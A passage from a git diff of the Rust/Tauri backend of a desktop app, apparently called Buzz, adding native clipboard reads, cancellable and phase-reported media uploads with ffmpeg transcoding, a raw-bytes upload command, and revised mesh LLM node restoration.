serde_json::json!([]), + "owner-only-access deploy payload retained a stale allowlist" + ); } diff --git a/desktop/src-tauri/src/commands/clipboard.rs b/desktop/src-tauri/src/commands/clipboard.rs index b4fe072ef8..c904e4a2d9 100644 --- a/desktop/src-tauri/src/commands/clipboard.rs +++ b/desktop/src-tauri/src/commands/clipboard.rs @@ -34,3 +34,22 @@ pub fn with_clipboard( operation(stored.as_mut().expect("clipboard initialized")) .map_err(|e| format!("clipboard error: {e}")) } + +/// Read plain text from the system clipboard through the native shell. +/// +/// Browser clipboard reads are permission-gated or unavailable in embedded +/// webviews. Arboard provides one consistent path across WKWebView, WebView2, +/// and WebKitGTK. The operation runs on the main thread for macOS/AppKit safety. +#[tauri::command] +pub async fn read_clipboard_text(app: tauri::AppHandle) -> Result { + let (tx, rx) = std::sync::mpsc::sync_channel::>(1); + let clipboard_app = app.clone(); + app.run_on_main_thread(move || { + let result = with_clipboard(&clipboard_app, arboard::Clipboard::get_text); + let _ = tx.send(result); + }) + .map_err(|e| format!("main thread dispatch failed: {e}"))?; + + rx.recv() + .map_err(|_| "clipboard result channel closed unexpectedly".to_string())? +} diff --git a/desktop/src-tauri/src/commands/export_util.rs b/desktop/src-tauri/src/commands/export_util.rs index ded14679c1..e12cbd19e1 100644 --- a/desktop/src-tauri/src/commands/export_util.rs +++ b/desktop/src-tauri/src/commands/export_util.rs @@ -35,8 +35,8 @@ pub async fn pick_save_path( /// user cancelled the dialog. /// /// NOT for secrets: the write is plain `std::fs::write` (no atomic commit, no -/// 0o600). Secret exports go through `pick_save_path` + -/// `key_backup::write_backup_file`. +/// 0o600). Secret exports go through `pick_save_path` and a dedicated +/// secret-file writer such as `key_backup::write_portable_backup_file`. pub async fn save_bytes_with_dialog( app: &AppHandle, suggested_filename: &str, diff --git a/desktop/src-tauri/src/commands/identity.rs b/desktop/src-tauri/src/commands/identity.rs index 33ecf3cfca..bddf2e725a 100644 --- a/desktop/src-tauri/src/commands/identity.rs +++ b/desktop/src-tauri/src/commands/identity.rs @@ -297,9 +297,10 @@ pub async fn verify_ncryptsec_backup( /// Save a portable copy of an `ncryptsec1…` backup to a user-chosen path. /// /// The input must parse as a structurally valid NIP-49 payload. The dialog is -/// selection-only; the write uses secret-file semantics (atomic + 0o600). -/// Never mutates canonical app state. Returns the chosen path, or `None` when -/// the user cancelled. +/// selection-only; the write uses the exact save-panel-authorized path with +/// owner-only permissions, sync, and reread verification. Existing files are +/// preserved rather than truncated. Never mutates canonical app state. Returns +/// the chosen path, or `None` when the user cancelled. #[tauri::command] pub async fn save_ncryptsec_copy( ncryptsec: String, @@ -324,7 +325,7 @@ pub async fn save_ncryptsec_copy( let dest_for_write = dest.clone(); tokio::task::spawn_blocking(move || { - crate::key_backup::write_backup_file(&dest_for_write, &normalized) + crate::key_backup::write_portable_backup_file(&dest_for_write, &normalized) }) .await .map_err(|e| format!("spawn_blocking failed: {e}"))??; diff --git a/desktop/src-tauri/src/commands/media.rs b/desktop/src-tauri/src/commands/media.rs index ed3b340238..86a91a9842 100644 --- a/desktop/src-tauri/src/commands/media.rs +++ b/desktop/src-tauri/src/commands/media.rs @@ -3,17 +3,17 @@ use nostr::{EventBuilder, JsonUtil, Keys, Kind, Tag, Timestamp}; use serde::{Deserialize, Serialize}; use sha2::{Digest, Sha256}; use tauri::State; +use tokio_util::sync::CancellationToken; use crate::app_state::AppState; -use crate::relay::{ - classify_request_error, parse_json_response, relay_api_base_url_with_override, - relay_error_message, -}; +use crate::relay::{parse_json_response, relay_api_base_url_with_override, relay_error_message}; use super::media_transcode::{ has_heic_extension, is_heic_file, is_video_file, transcode_and_extract_poster, - transcode_heic_path_to_jpeg_bytes, + transcode_and_extract_poster_with_cancellation, transcode_heic_path_to_jpeg_bytes, + transcode_heic_path_to_jpeg_bytes_with_cancellation, }; +use super::media_upload_progress::{emit_media_upload_phase, send_upload_attempt, UploadAttempt}; #[derive(Debug, Clone, Serialize, Deserialize)] pub struct BlobDescriptor { @@ -410,51 +410,6 @@ fn should_retry_legacy_upload(status: reqwest::StatusCode) -> bool { ) } -async fn send_upload_attempt( - state: &AppState, - url: String, - auth_header: &str, - mime: &str, - sha256: &str, - body: bytes::Bytes, - progress: Option<&(tauri::AppHandle, String)>, -) -> Result { - let req = state - .http_client - .put(url) - .header("Authorization", auth_header) - .header("Content-Type", mime) - .header("X-SHA-256", sha256); - - let response = if let Some((app, progress_id)) = progress { - use tauri::Emitter; - let app = app.clone(); - let progress_id = progress_id.clone(); - let total = body.len() as u64; - let chunk_size = 64 * 1024; - let chunk_count = body.len().div_ceil(chunk_size); - let mut sent: u64 = 0; - let stream = futures_util::stream::iter((0..chunk_count).map(move |i| { - let start = i * chunk_size; - let end = usize::min(start + chunk_size, body.len()); - let chunk = body.slice(start..end); - sent += chunk.len() as u64; - let _ = app.emit( - "media-upload-progress", - serde_json::json!({ "id": progress_id, "sent": sent, "total": total }), - ); - Ok::(chunk) - })); - req.header(reqwest::header::CONTENT_LENGTH, total) - .body(reqwest::Body::wrap_stream(stream)) - .send() - .await - } else { - req.body(body).send().await - }; - response.map_err(|error| classify_request_error(&error)) -} - pub(crate) async fn upload_image_bytes( body: Vec, state: &AppState, @@ -464,7 +419,7 @@ pub(crate) async fn upload_image_bytes( return Err("profile avatar must be an image".to_string()); } let body = sanitize_image_for_upload(body, &mime)?; - do_upload(body, &mime, state, None).await + do_upload(body, &mime, state, None, None).await } async fn do_upload( @@ -472,6 +427,7 @@ async fn do_upload( mime: &str, state: &AppState, progress: Option<(tauri::AppHandle, String)>, + cancellation: Option<&CancellationToken>, ) -> Result { let sha256 = hex::encode(Sha256::digest(&body)); @@ -494,25 +450,34 @@ async fn do_upload( URL_SAFE_NO_PAD.encode(auth_event.as_json().as_bytes()) ); let body = bytes::Bytes::from(body); + if let Some((app, progress_id)) = progress.as_ref() { + emit_media_upload_phase(app, Some(progress_id.as_str()), "uploading"); + } let mut resp = send_upload_attempt( state, - format!("{base_url}/upload"), - &auth_header, - mime, - &sha256, - body.clone(), - progress.as_ref(), + UploadAttempt { + url: format!("{base_url}/upload"), + auth_header: &auth_header, + mime, + sha256: &sha256, + body: body.clone(), + progress: progress.as_ref(), + cancellation, + }, ) .await?; if should_retry_legacy_upload(resp.status()) { resp = send_upload_attempt( state, - format!("{base_url}/media/upload"), - &auth_header, - mime, - &sha256, - body, - progress.as_ref(), + UploadAttempt { + url: format!("{base_url}/media/upload"), + auth_header: &auth_header, + mime, + sha256: &sha256, + body, + progress: progress.as_ref(), + cancellation, + }, ) .await?; } @@ -559,7 +524,7 @@ pub async fn upload_media( let mime = detect_and_validate_mime(&body)?; let body = sanitize_image_for_upload(body, &mime)?; - do_upload(body, &mime, &state, None).await + do_upload(body, &mime, &state, None, None).await } /// Read a picked path through the TOCTOU-safe pipeline (fd pin → sniff → @@ -573,6 +538,7 @@ async fn process_picked_path( path: std::path::PathBuf, state: &AppState, images_only: bool, + progress: Option<(tauri::AppHandle, String)>, ) -> Result { // Pin the inode by opening the fd BEFORE spawn_blocking. This prevents a // local attacker from swapping the file between dialog return and read. @@ -639,10 +605,9 @@ async fn process_picked_path( // Upload video first, then poster (best-effort). If poster upload fails, // the video descriptor is returned without an image field. - let mut descriptor = do_upload(body, &mime, state, None).await?; - + let mut descriptor = do_upload(body, &mime, state, progress, None).await?; if let Some(poster) = poster_bytes { - match do_upload(poster, "image/jpeg", state, None).await { + match do_upload(poster, "image/jpeg", state, None, None).await { Ok(poster_desc) => descriptor.image = Some(poster_desc.url), Err(e) => eprintln!("buzz-desktop: poster upload failed (non-fatal): {e}"), } @@ -675,6 +640,7 @@ async fn process_picked_path( #[tauri::command] pub async fn pick_and_upload_media( app: tauri::AppHandle, + progress_id: Option, state: State<'_, AppState>, ) -> Result, String> { use tauri_plugin_dialog::DialogExt; @@ -694,7 +660,8 @@ pub async fn pick_and_upload_media( let mut descriptors = Vec::with_capacity(file_paths.len()); for file_path in file_paths { let path = file_path.as_path().ok_or("invalid path")?.to_path_buf(); - let descriptor = process_picked_path(path, &state, false).await?; + let progress = progress_id.clone().map(|id| (app.clone(), id)); + let descriptor = process_picked_path(path, &state, false, progress).await?; descriptors.push(descriptor); } @@ -735,30 +702,37 @@ pub async fn pick_and_upload_image( }; let path = file_path.as_path().ok_or("invalid path")?.to_path_buf(); - let descriptor = process_picked_path(path, &state, true).await?; + let descriptor = process_picked_path(path, &state, true, None).await?; Ok(Some(descriptor)) } -/// Upload raw bytes directly (for paste and drag-drop). -/// -/// The renderer already has the bytes in memory from the clipboard/drag event. -/// If the bytes are a video, they're written to a temp file, transcoded via -/// ffmpeg, and the transcoded output is uploaded instead. -#[tauri::command] -pub async fn upload_media_bytes( +pub(super) async fn upload_media_bytes_inner( data: Vec, filename: Option, progress_id: Option, app: tauri::AppHandle, state: State<'_, AppState>, + cancellation: Option<&CancellationToken>, ) -> Result { if data.is_empty() { return Err("empty upload".to_string()); } + if cancellation.is_some_and(CancellationToken::is_cancelled) { + return Err("upload cancelled".to_string()); + } + + emit_media_upload_phase(&app, progress_id.as_deref(), "preparing"); + + let heic_by_extension = filename + .as_deref() + .is_some_and(|name| has_heic_extension(std::path::Path::new(name))); + let (body, poster_bytes) = if is_video_file(&data) { + emit_media_upload_phase(&app, progress_id.as_deref(), "processing-video"); // Video: write to temp → transcode + extract poster → read results. // All blocking I/O runs off the async runtime via spawn_blocking. + let cancellation = cancellation.cloned(); tokio::task::spawn_blocking(move || -> Result<(Vec, Option>), String> { let tmp_input = std::env::temp_dir().join(format!("buzz-drop-{}", uuid::Uuid::new_v4())); @@ -766,17 +740,19 @@ pub async fn upload_media_bytes( let result = (|| { std::fs::write(&tmp_input, &data) .map_err(|e| format!("failed to write temp file: {e}"))?; - transcode_and_extract_poster(&tmp_input) + transcode_and_extract_poster_with_cancellation(&tmp_input, cancellation.as_ref()) })(); let _ = std::fs::remove_file(&tmp_input); result }) .await .map_err(|e| format!("transcode task failed: {e}"))?? - } else if is_heic_file(&data) { + } else if is_heic_file(&data) || heic_by_extension { + emit_media_upload_phase(&app, progress_id.as_deref(), "converting-image"); // HEIC/HEIF still pasted/dropped: no filename here, so detection is // magic-bytes only. ffmpeg needs a path, so write to temp, transcode // to JPEG, and clean up. (Mirrors mobile's pre-upload transcode.) + let cancellation = cancellation.cloned(); tokio::task::spawn_blocking(move || -> Result<(Vec, Option>), String> { let tmp_input = std::env::temp_dir().join(format!("buzz-drop-{}", uuid::Uuid::new_v4())); @@ -784,7 +760,11 @@ pub async fn upload_media_bytes( let result = (|| { std::fs::write(&tmp_input, &data) .map_err(|e| format!("failed to write temp file: {e}"))?; - transcode_heic_path_to_jpeg_bytes(&tmp_input).map(|jpeg| (jpeg, None)) + transcode_heic_path_to_jpeg_bytes_with_cancellation( + &tmp_input, + cancellation.as_ref(), + ) + .map(|jpeg| (jpeg, None)) })(); let _ = std::fs::remove_file(&tmp_input); result @@ -799,11 +779,15 @@ pub async fn upload_media_bytes( let body = sanitize_image_for_upload(body, &mime)?; // Upload video first, then poster (best-effort). - let progress = progress_id.map(|id| (app, id)); - let mut descriptor = do_upload(body, &mime, &state, progress).await?; + let progress = progress_id.as_ref().map(|id| (app.clone(), id.clone())); + if cancellation.is_some_and(CancellationToken::is_cancelled) { + return Err("upload cancelled".to_string()); + } + let mut descriptor = do_upload(body, &mime, &state, progress, cancellation).await?; + emit_media_upload_phase(&app, progress_id.as_deref(), "finishing"); if let Some(poster) = poster_bytes { - match do_upload(poster, "image/jpeg", &state, None).await { + match do_upload(poster, "image/jpeg", &state, None, cancellation).await { Ok(poster_desc) => descriptor.image = Some(poster_desc.url), Err(e) => eprintln!("buzz-desktop: poster upload failed (non-fatal): {e}"), } diff --git a/desktop/src-tauri/src/commands/media_download.rs b/desktop/src-tauri/src/commands/media_download.rs index d3b1a9499d..7bc94da25d 100644 --- a/desktop/src-tauri/src/commands/media_download.rs +++ b/desktop/src-tauri/src/commands/media_download.rs @@ -8,7 +8,8 @@ use crate::commands::export_util::save_bytes_with_dialog; use crate::commands::media::{detect_and_validate_mime, mint_media_get_auth, sanitize_filename}; use crate::commands::{ personas::{ - decode_snapshot_from_bytes, MAX_SNAPSHOT_JSON_BYTES, MAX_SNAPSHOT_PNG_BYTES, PNG_MAGIC, + parse_snapshot_payload_from_bytes, MAX_SNAPSHOT_JSON_BYTES, MAX_SNAPSHOT_PNG_BYTES, + PNG_MAGIC, }, team_snapshot::{ decode_team_snapshot_from_bytes, MAX_TEAM_SNAPSHOT_JSON_BYTES, MAX_TEAM_SNAPSHOT_PNG_BYTES, @@ -505,10 +506,12 @@ pub async fn fetch_snapshot_bytes( // 4. Bytes must parse as the snapshot type selected by the filename. // Team parsing rejects retired flat JSON and persona-pack ZIP inputs - // before anything reaches the frontend. + // before anything reaches the frontend. Agent kinds accept both plain + // manifests and structurally valid locked (encrypted) card envelopes — + // transit validation never decrypts; unlock happens at import time. match kind { SnapshotFileKind::AgentJson | SnapshotFileKind::AgentPng => { - decode_snapshot_from_bytes(&bytes) + parse_snapshot_payload_from_bytes(&bytes) .map_err(|e| format!("invalid agent snapshot: {e}"))?; } SnapshotFileKind::TeamJson | SnapshotFileKind::TeamPng => { diff --git a/desktop/src-tauri/src/commands/media_raw.rs b/desktop/src-tauri/src/commands/media_raw.rs new file mode 100644 index 0000000000..a74ccd4dfe --- /dev/null +++ b/desktop/src-tauri/src/commands/media_raw.rs @@ -0,0 +1,96 @@ +use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; +use tauri::{ + ipc::{InvokeBody, Request}, + State, +}; + +use crate::app_state::AppState; + +use super::{ + media::{upload_media_bytes_inner, BlobDescriptor}, + media_upload_progress::{ + begin_media_upload, cancel_media_upload as cancel_registered_media_upload, + finish_media_upload, + }, +}; + +/// Upload raw bytes directly (for paste and drag-drop). +/// +/// The renderer already has the bytes in memory from the clipboard/drag event. +/// If the bytes are a video, they're written to a temp file, transcoded via +/// ffmpeg, and the transcoded output is uploaded instead. +#[tauri::command] +pub async fn upload_media_bytes( + data: Vec, + filename: Option, + progress_id: Option, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result { + upload_media_bytes_inner(data, filename, progress_id, app, state, None).await +} + +fn decode_raw_upload_header(value: &str) -> Result { + let bytes = URL_SAFE_NO_PAD + .decode(value) + .map_err(|error| format!("invalid raw upload header: {error}"))?; + String::from_utf8(bytes).map_err(|error| format!("invalid raw upload header text: {error}")) +} + +fn optional_raw_upload_header(request: &Request<'_>, name: &str) -> Result, String> { + request + .headers() + .get(name) + .map(|value| { + value + .to_str() + .map_err(|error| format!("invalid {name} header: {error}")) + .and_then(decode_raw_upload_header) + }) + .transpose() +} + +/// Cancel the native upload associated with a background progress ID. +#[tauri::command] +pub fn cancel_media_upload(progress_id: String) { + cancel_registered_media_upload(&progress_id); +} + +/// Upload raw IPC bytes without expanding a large browser File into JSON. +#[tauri::command] +pub async fn upload_media_bytes_raw( + request: Request<'_>, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result { + let data = match request.body() { + InvokeBody::Raw(data) => data.clone(), + InvokeBody::Json(_) => return Err("raw upload requires a byte body".to_string()), + }; + let filename = optional_raw_upload_header(&request, "x-buzz-filename")?; + let progress_id = optional_raw_upload_header(&request, "x-buzz-progress-id")?; + + let cancellation = begin_media_upload(progress_id.as_deref()); + let result = upload_media_bytes_inner( + data, + filename, + progress_id.clone(), + app, + state, + cancellation.as_ref(), + ) + .await; + finish_media_upload(progress_id.as_deref()); + result +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_decode_raw_upload_header_preserves_unicode() { + let encoded = URL_SAFE_NO_PAD.encode("clip 🎬.mp4"); + assert_eq!(decode_raw_upload_header(&encoded).unwrap(), "clip 🎬.mp4"); + } +} diff --git a/desktop/src-tauri/src/commands/media_transcode.rs b/desktop/src-tauri/src/commands/media_transcode.rs index 46a5decaa7..3fb7eda5f0 100644 --- a/desktop/src-tauri/src/commands/media_transcode.rs +++ b/desktop/src-tauri/src/commands/media_transcode.rs @@ -6,6 +6,7 @@ //! `validate_video_file()`) and to produce a JPEG poster frame. use crate::managed_agents::resolve_command; +use tokio_util::sync::CancellationToken; /// Build an ffmpeg command without inheriting user-controlled process knobs. /// @@ -121,7 +122,7 @@ pub(super) fn has_heic_extension(path: &std::path::Path) -> bool { /// blocking a Tokio worker thread indefinitely. const FFMPEG_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600); -/// Run an ffmpeg command with a wall-clock timeout. +/// Run an ffmpeg command with a wall-clock timeout and optional cancellation. /// /// Spawns the child process, polls `try_wait()` every 500ms, and kills it /// if the deadline is exceeded. Returns the same `Output` as `Command::output()`. @@ -131,10 +132,14 @@ const FFMPEG_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600); /// enough progress/diagnostic output to fill the OS pipe buffer (~64 KiB), /// the child blocks on write() and never exits — causing a false timeout. /// `-loglevel error` suppresses progress spam, keeping stderr small. -pub(super) fn run_ffmpeg_with_timeout( +fn run_ffmpeg_with_cancellation( cmd: &mut std::process::Command, timeout: std::time::Duration, + cancellation: Option<&CancellationToken>, ) -> Result { + if cancellation.is_some_and(CancellationToken::is_cancelled) { + return Err("upload cancelled".to_string()); + } let mut child = cmd .spawn() .map_err(|e| format!("failed to spawn ffmpeg: {e}"))?; @@ -162,6 +167,11 @@ pub(super) fn run_ffmpeg_with_timeout( } Ok(None) => { // Still running — check deadline. + if cancellation.is_some_and(CancellationToken::is_cancelled) { + let _ = child.kill(); + let _ = child.wait(); + return Err("upload cancelled".to_string()); + } if std::time::Instant::now() > deadline { let _ = child.kill(); let _ = child.wait(); // reap zombie @@ -181,14 +191,15 @@ pub(super) fn run_ffmpeg_with_timeout( /// relay's `validate_video_file()`. /// /// Returns the path to a temp file. Caller must clean up. -pub(super) fn transcode_to_mp4( +fn transcode_to_mp4_with_cancellation( source: &std::path::Path, ffmpeg: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result { // UUID-based temp path — unique across concurrent uploads. let output = std::env::temp_dir().join(format!("buzz-transcode-{}.mp4", uuid::Uuid::new_v4())); - let result = run_ffmpeg_with_timeout( + let result = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -240,7 +251,11 @@ pub(super) fn transcode_to_mp4( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), FFMPEG_TIMEOUT, - )?; + cancellation, + ) + .inspect_err(|_| { + let _ = std::fs::remove_file(&output); + })?; if !result.status.success() { let _ = std::fs::remove_file(&output); @@ -265,9 +280,10 @@ pub(super) fn transcode_to_mp4( /// Uses `-frames:v 1` so multi-image HEIF containers (Live Photos, bursts) /// yield a single still, and `-q:v 2` for high JPEG quality. Returns the path /// to a temp file. Caller must clean up. -pub(super) fn transcode_heic_to_jpeg( +fn transcode_heic_to_jpeg( source: &std::path::Path, ffmpeg: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result { // UUID-based temp path — unique across concurrent uploads. let output = std::env::temp_dir().join(format!("buzz-heic-{}.jpg", uuid::Uuid::new_v4())); @@ -275,7 +291,7 @@ pub(super) fn transcode_heic_to_jpeg( // Single-frame image decode — 60s is generous even for large HEICs. let heic_timeout = std::time::Duration::from_secs(60); - let result = run_ffmpeg_with_timeout( + let result = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -301,7 +317,11 @@ pub(super) fn transcode_heic_to_jpeg( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), heic_timeout, - )?; + cancellation, + ) + .inspect_err(|_| { + let _ = std::fs::remove_file(&output); + })?; if !result.status.success() { let _ = std::fs::remove_file(&output); @@ -323,9 +343,16 @@ pub(super) fn transcode_heic_to_jpeg( /// file. Mirrors `transcode_and_extract_poster` but for images (no poster). pub(super) fn transcode_heic_path_to_jpeg_bytes( source: &std::path::Path, +) -> Result, String> { + transcode_heic_path_to_jpeg_bytes_with_cancellation(source, None) +} + +pub(super) fn transcode_heic_path_to_jpeg_bytes_with_cancellation( + source: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result, String> { let ffmpeg_path = find_ffmpeg()?; - let jpeg_path = transcode_heic_to_jpeg(source, &ffmpeg_path)?; + let jpeg_path = transcode_heic_to_jpeg(source, &ffmpeg_path, cancellation)?; let bytes = std::fs::read(&jpeg_path).map_err(|e| format!("failed to read transcoded HEIC: {e}")); let _ = std::fs::remove_file(&jpeg_path); @@ -340,9 +367,10 @@ pub(super) fn transcode_heic_path_to_jpeg_bytes( /// /// Best-effort: returns `Err` on failure — callers should log and continue /// without a poster rather than failing the entire video upload. -pub(super) fn extract_poster_frame( +fn extract_poster_frame_with_cancellation( mp4_path: &std::path::Path, ffmpeg: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result { let output = std::env::temp_dir().join(format!("buzz-poster-{}.jpg", uuid::Uuid::new_v4())); @@ -350,7 +378,7 @@ pub(super) fn extract_poster_frame( let poster_timeout = std::time::Duration::from_secs(30); // Try seeking to 1s first (avoids black first frames from fade-ins). - let result = run_ffmpeg_with_timeout( + let result = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -369,6 +397,7 @@ pub(super) fn extract_poster_frame( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), poster_timeout, + cancellation, )?; // If seek to 1s failed (video shorter than 1s), retry from first frame. @@ -381,7 +410,7 @@ pub(super) fn extract_poster_frame( eprintln!("buzz-desktop: poster seek-to-1s failed, trying first frame: {stderr}"); } let _ = std::fs::remove_file(&output); - let fallback = run_ffmpeg_with_timeout( + let fallback = run_ffmpeg_with_cancellation( ffmpeg_command(ffmpeg) .args([ "-y", @@ -398,6 +427,7 @@ pub(super) fn extract_poster_frame( .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::piped()), poster_timeout, + cancellation, )?; if !fallback.status.success() || !output.exists() { @@ -417,22 +447,35 @@ pub(super) fn extract_poster_frame( /// and the video bytes are still valid. All temp files are cleaned up. pub(super) fn transcode_and_extract_poster( source: &std::path::Path, +) -> Result<(Vec, Option>), String> { + transcode_and_extract_poster_with_cancellation(source, None) +} + +pub(super) fn transcode_and_extract_poster_with_cancellation( + source: &std::path::Path, + cancellation: Option<&CancellationToken>, ) -> Result<(Vec, Option>), String> { let ffmpeg_path = find_ffmpeg()?; - let transcoded = transcode_to_mp4(source, &ffmpeg_path)?; + let transcoded = transcode_to_mp4_with_cancellation(source, &ffmpeg_path, cancellation)?; // Extract poster from the transcoded file (not the original — guarantees decodability). - let poster_bytes = match extract_poster_frame(&transcoded, &ffmpeg_path) { - Ok(poster_path) => { - let bytes = std::fs::read(&poster_path).ok(); - let _ = std::fs::remove_file(&poster_path); - bytes - } - Err(e) => { - eprintln!("buzz-desktop: poster extraction failed (non-fatal): {e}"); - None - } - }; + let poster_bytes = + match extract_poster_frame_with_cancellation(&transcoded, &ffmpeg_path, cancellation) { + Ok(poster_path) => { + let bytes = std::fs::read(&poster_path).ok(); + let _ = std::fs::remove_file(&poster_path); + bytes + } + Err(e) => { + eprintln!("buzz-desktop: poster extraction failed (non-fatal): {e}"); + None + } + }; + + if cancellation.is_some_and(CancellationToken::is_cancelled) { + let _ = std::fs::remove_file(&transcoded); + return Err("upload cancelled".to_string()); + } let video_bytes = std::fs::read(&transcoded).map_err(|e| format!("failed to read transcoded file: {e}")); @@ -599,7 +642,8 @@ mod tests { return; } - let output = transcode_to_mp4(&source, &ffmpeg).expect("transcode fixture"); + let output = + transcode_to_mp4_with_cancellation(&source, &ffmpeg, None).expect("transcode fixture"); let bytes = std::fs::read(&output).expect("read transcoded video"); let _ = std::fs::remove_file(&source); let _ = std::fs::remove_file(&output); diff --git a/desktop/src-tauri/src/commands/media_upload_progress.rs b/desktop/src-tauri/src/commands/media_upload_progress.rs new file mode 100644 index 0000000000..850afe1b12 --- /dev/null +++ b/desktop/src-tauri/src/commands/media_upload_progress.rs @@ -0,0 +1,126 @@ +use std::{ + collections::HashMap, + sync::{LazyLock, Mutex}, +}; + +use tauri::Emitter; +use tokio_util::sync::CancellationToken; + +use crate::{app_state::AppState, relay::classify_request_error}; + +static MEDIA_UPLOAD_CANCELLATIONS: LazyLock>> = + LazyLock::new(|| Mutex::new(HashMap::new())); + +pub(super) fn begin_media_upload(progress_id: Option<&str>) -> Option { + let progress_id = progress_id?; + let cancel = CancellationToken::new(); + if let Ok(mut uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() { + uploads.insert(progress_id.to_string(), cancel.clone()); + } + Some(cancel) +} + +pub(super) fn cancel_media_upload(progress_id: &str) { + if let Ok(uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() { + if let Some(cancel) = uploads.get(progress_id) { + cancel.cancel(); + } + } +} + +pub(super) fn finish_media_upload(progress_id: Option<&str>) { + let Some(progress_id) = progress_id else { + return; + }; + if let Ok(mut uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() { + uploads.remove(progress_id); + } +} + +pub(super) struct UploadAttempt<'a> { + pub url: String, + pub auth_header: &'a str, + pub mime: &'a str, + pub sha256: &'a str, + pub body: bytes::Bytes, + pub progress: Option<&'a (tauri::AppHandle, String)>, + pub cancellation: Option<&'a CancellationToken>, +} + +pub(super) async fn send_upload_attempt( + state: &AppState, + attempt: UploadAttempt<'_>, +) -> Result { + let UploadAttempt { + url, + auth_header, + mime, + sha256, + body, + progress, + cancellation, + } = attempt; + let req = state + .http_client + .put(url) + .header("Authorization", auth_header) + .header("Content-Type", mime) + .header("X-SHA-256", sha256); + + let response = if let Some((app, progress_id)) = progress { + let app = app.clone(); + let progress_id = progress_id.clone(); + let total = body.len() as u64; + let chunk_size = 64 * 1024; + let chunk_count = body.len().div_ceil(chunk_size); + let mut sent: u64 = 0; + let stream = futures_util::stream::iter((0..chunk_count).map(move |i| { + let start = i * chunk_size; + let end = usize::min(start + chunk_size, body.len()); + let chunk = body.slice(start..end); + sent += chunk.len() as u64; + let _ = app.emit( + "media-upload-progress", + serde_json::json!({ "id": progress_id, "sent": sent, "total": total }), + ); + Ok::(chunk) + })); + let request = req + .header(reqwest::header::CONTENT_LENGTH, total) + .body(reqwest::Body::wrap_stream(stream)) + .send(); + if let Some(cancellation) = cancellation { + tokio::select! { + _ = cancellation.cancelled() => return Err("upload cancelled".to_string()), + response = request => response, + } + } else { + request.await + } + } else { + let request = req.body(body).send(); + if let Some(cancellation) = cancellation { + tokio::select! { + _ = cancellation.cancelled() => return Err("upload cancelled".to_string()), + response = request => response, + } + } else { + request.await + } + }; + response.map_err(|error| classify_request_error(&error)) +} + +pub(super) fn emit_media_upload_phase( + app: &tauri::AppHandle, + progress_id: Option<&str>, + phase: &'static str, +) { + let Some(id) = progress_id else { + return; + }; + let _ = app.emit( + "media-upload-phase", + serde_json::json!({ "id": id, "phase": phase }), + ); +} diff --git a/desktop/src-tauri/src/commands/mesh_llm.rs b/desktop/src-tauri/src/commands/mesh_llm.rs index 998bc6e7d2..528ca38767 100644 --- a/desktop/src-tauri/src/commands/mesh_llm.rs +++ b/desktop/src-tauri/src/commands/mesh_llm.rs @@ -364,8 +364,7 @@ pub(crate) async fn restore_mesh_sharing(app: &AppHandle, state: &AppState) -> C } // This is restoration of a previously inference-ready serving node. Keep // the enabled checkpoint armed while restoring so a transient startup - // failure does not silently turn Share Compute off. New starts remain - // disarmed in `mesh_start_node` until their first inference probe passes. + // failure does not silently turn Share Compute off. let request = mesh_llm::StartMeshNodeRequest { mode: mesh_llm::MeshNodeMode::Serve, model_id: Some(config.model_id.clone()), @@ -378,20 +377,26 @@ pub(crate) async fn restore_mesh_sharing(app: &AppHandle, state: &AppState) -> C let started = mesh_llm::DesktopMeshRuntime::start(request) .await .map_err(|error| format!("failed to restore Share Compute: {error:#}"))?; - if let Err(error) = wait_for_mesh_inference(&config.model_id).await { - let cleanup = started.stop().await; - if let Err(cleanup_error) = cleanup { - eprintln!( - "buzz-mesh: restored node failed inference readiness and cleanup was incomplete: {cleanup_error:#}" - ); - } - return Err(format!("failed to restore Share Compute: {error}")); - } + // Install the restored runtime immediately: it is tracked by AppState from + // here on, so it can never be orphaned. Restoring a previously + // inference-ready node still has to load ~tens of GB of weights and may + // download package layers after the ports bind, and the readiness probe + // itself serializes behind any first inference. None of that is a failed + // restore — stopping the node and reporting failure (the old behaviour) + // tore down a node that was simply still warming up. The checkpoint stays + // armed (`enabled`), so a genuinely broken restore is retried next launch + // rather than silently turning Share Compute off. *runtime = Some(started); config.enabled = true; config.start_on_next_launch = false; save_mesh_sharing_config(app, &config)?; drop(runtime); + if let Err(error) = wait_for_mesh_inference(&config.model_id).await { + eprintln!( + "buzz-mesh: restored node is not inference-ready yet ({error}); \ + leaving it to warm up without tearing it down" + ); + } mesh_llm::publish_current_status_once(app, "restore").await; Ok(()) } @@ -467,9 +472,11 @@ pub async fn mesh_start_node( } if let Some(config) = sharing_config.as_ref() { - // Do not arm launch restoration until the exact inference path used by - // agents succeeds. Mesh may bind its ports after primary weights load - // while package layers are still downloading. + // Persist a DISARMED checkpoint to cover the window of the potentially + // long `start()` below: if Buzz exits before the runtime is installed + // and tracked, the next launch stays stopped rather than trying to + // restore a node that never came up. The enabled config is armed right + // after install succeeds. save_mesh_sharing_config(&app, &pending_new_start_checkpoint(config))?; } @@ -496,25 +503,28 @@ pub async fn mesh_start_node( )); } }; - if let Some(config) = sharing_config.as_ref() { - if let Err(error) = wait_for_mesh_inference(&config.model_id).await { - let cleanup = started.stop().await; - if let Err(cleanup_error) = &cleanup { - eprintln!( - "buzz-mesh: started node failed inference readiness and cleanup was incomplete: {cleanup_error:#}" - ); - } - drop(runtime); - app.request_restart(); - return 